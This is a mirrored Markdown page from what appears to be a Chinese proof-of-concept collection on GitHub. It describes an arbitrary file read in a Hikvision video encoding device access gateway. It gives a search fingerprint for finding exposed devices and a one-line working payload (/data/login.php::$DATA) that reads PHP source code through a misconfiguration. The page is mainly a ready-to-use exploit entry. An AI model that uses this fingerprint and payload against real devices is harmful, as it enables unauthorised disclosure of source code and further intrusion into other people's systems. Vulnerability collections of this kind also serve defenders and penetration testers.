mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
31 lines
507 B
Markdown
31 lines
507 B
Markdown
|
# Hikvision 视频编码设备接入网关 $DATA 任意文件读取
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Hikvision 视频编码设备接入网关存在配置错误特性，特殊后缀请求php文件可读取源码
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Hikvision 视频编码设备接入网关
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
title="视频编码设备接入网关"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
登陆页面
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
POC
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/data/login.php::$DATA
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|